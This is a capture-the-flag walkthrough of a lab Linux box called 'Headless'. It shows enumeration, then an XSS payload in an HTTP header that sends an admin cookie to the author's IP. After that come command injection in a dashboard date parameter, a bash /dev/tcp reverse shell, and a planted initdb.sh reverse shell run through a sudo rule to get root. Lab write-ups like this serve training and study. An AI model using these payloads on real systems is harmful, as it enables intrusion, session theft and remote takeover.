Headless (Easy)
Easy difficulty Linux box.....
Enumeration
Let's start with usual nmap scan:
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u2 (protocol 2.0)
| ssh-hostkey:
| 256 90:02:94:28:3d:ab:22:74:df:0e:a3:b2:0f:2b:c6:17 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJXBmWeZYo1LR50JTs8iKyICHT76i7+fBPoeiKDXRhzjsfMWruwHrosHoSwRxiqUdaJYLwJgWOv+jFAB45nRQHw=
| 256 2e:b9:08:24:02:1b:60:94:60:b3:84:a9:9e:1a:60:ca (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAICkBEMKoic0Bx5yLYG4DIT5G797lraNQsG5dtyZUl9nW
5000/tcp open upnp? syn-ack ttl 63
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sat, 20 Jul 2024 14:19:29 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 2799
| Set-Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs; Path=/
| Connection: close
So we see ssh and a web server running on port 5000, let's start a directory fuzzing before we go check it, to have some sort of recon running in the background to save time.
ffuf -u http://10.10.11.8:5000/FUZZ -w /opt/wordlists/directory-list-2.3-small.txt -ic
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0-dev
________________________________________________
:: Method : GET
:: URL : http://10.10.11.8:5000/FUZZ
:: Wordlist : FUZZ: /opt/wordlists/directory-list-2.3-small.txt
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
________________________________________________
support [Status: 200, Size: 2363, Words: 836, Lines: 93, Duration: 68ms]
dashboard [Status: 500, Size: 265, Words: 33, Lines: 6, Duration: 71ms]
Now let's check the website, which has only one button that leads us to /support
and seeing it:

Let's check /dashboard

Nothing in here.... let's get back to the support page.
So we have a contact form, I tried some XSS payload in the "Message" field as "<b>Hello</b>", and I got this:

Exploitation
So we see all headers get displayed in here, and sent for admin, so let's try doing an XSS but in headers.
Will do it in Burp repeater:
POST /support HTTP/1.1
Host: 10.10.11.8:5000
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Referer: http://10.10.11.8:5000/support
Content-Type: application/x-www-form-urlencoded
Content-Length: 96
Origin: http://10.10.11.8:5000
My-Header: <script>alert(1)</script>
DNT: 1
Connection: close
Cookie: is_admin=InVzZXIi.uAlmXlTvm8vyihjNaPDWnvB_Zfs
Upgrade-Insecure-Requests: 1
fname=acaard&lname=acaard&email=acaard%40email.com&phone=01111111111&message=%3Cb%3EHello%3C%2Fb%3E
Trying to send this request to which I added "My-Header" and had an alert in to see if it will be processed, after sending it i did this:

Getting the URL from there and checking it in the browser:

We have a valid XSS, now let's do a payload to steal a cookie, i will modify the value of the header to be:
<script>document.location='http://10.10.14.21/?c='+document.cookie</script>
And I will start a server in my machine and send our request:
$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
Couple of seconds later we get a hit:
10.10.11.8 - - [20/Jul/2024 16:24:07] "GET /?c=is_admin=ImFkbWluIg.dmzDkZNEm6CK0oyL1fbM-SnXpH0 HTTP/1.1" 200 -
10.10.11.8 - - [20/Jul/2024 16:24:07] code 404, message File not found
We have a valid admin cookie, let's try it in the dashboard page:

Let's intercept it in Burp and see what we can do.
The date is being sent like this date=2023-09-15
let's try for basic command injection.
Like:
date=2023-09-15;id
And we get this in the response:
Systems are up and running!
uid=1000(dvir) gid=1000(dvir) groups=1000(dvir),100(users)
So perfect! Let's get a shell by sending:
date=2023-09-15;bash -c "bash -i >& /dev/tcp/10.10.14.21/9001 0>&1"
Don't forget to URL encode your payload.
nc -lnvp 9001
listening on [any] 9001 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.11.8] 41266
bash: cannot set terminal process group (1369): Inappropriate ioctl for device
bash: no job control in this shell
dvir@headless:~/app$
Now we have a shell as "dvir".
First i will just stabilize the shell doing:
python3 -c "import pty;pty.spawn('/bin/bash')"
ctrl + z
stty raw -echo;fg
Now root time.
Privilege Escalation
I will start with checking sudo privileges and i get this:
dvir@headless:~/app$ sudo -l
Matching Defaults entries for dvir on headless:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User dvir may run the following commands on headless:
(ALL) NOPASSWD: /usr/bin/syscheck
Let's see what is this "syscheck" file.
dvir@headless:~/app$ file /usr/bin/syscheck
/usr/bin/syscheck: Bourne-Again shell script, ASCII text executable
A Bash script, let's check our rights over it.
dvir@headless:~/app$ ls -la /usr/bin/syscheck
-r-xr-xr-x 1 root root 768 Feb 2 16:11 /usr/bin/syscheck
We can read it, so let's do that.
#!/bin/bash
if [ "$EUID" -ne 0 ]; then
exit 1
fi
last_modified_time=$(/usr/bin/find /boot -name 'vmlinuz*' -exec stat -c %Y {} + | /usr/bin/sort -n | /usr/bin/tail -n 1)
formatted_time=$(/usr/bin/date -d "@$last_modified_time" +"%d/%m/%Y %H:%M")
/usr/bin/echo "Last Kernel Modification Time: $formatted_time"
disk_space=$(/usr/bin/df -h / | /usr/bin/awk 'NR==2 {print $4}')
/usr/bin/echo "Available disk space: $disk_space"
load_average=$(/usr/bin/uptime | /usr/bin/awk -F'load average:' '{print $2}')
/usr/bin/echo "System load average: $load_average"
if ! /usr/bin/pgrep -x "initdb.sh" &>/dev/null; then
/usr/bin/echo "Database service is not running. Starting it..."
./initdb.sh 2>/dev/null
else
/usr/bin/echo "Database service is running."
fi
exit 0
In the last if condition we see it will run "initdb.sh" from the current working directory, which might be a bit dangerous, we can make a custom one and make it give us a reverse shell.
So here is what i did:
dvir@headless:~$ nano initdb.sh
dvir@headless:~$ chmod +x initdb.sh
dvir@headless:~$ cat initdb.sh
#!/bin/bash
bash -i >& /dev/tcp/10.10.14.21/9002 0>&1
Now just executing the sudo rule, and don't forget to start your listener:
nc -lnvp 9002
listening on [any] 9002 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.11.8] 53494
root@headless:/home/dvir#
We got a root shell.
And that's it for the box!
Happy Hacking :) 🧛
Last updated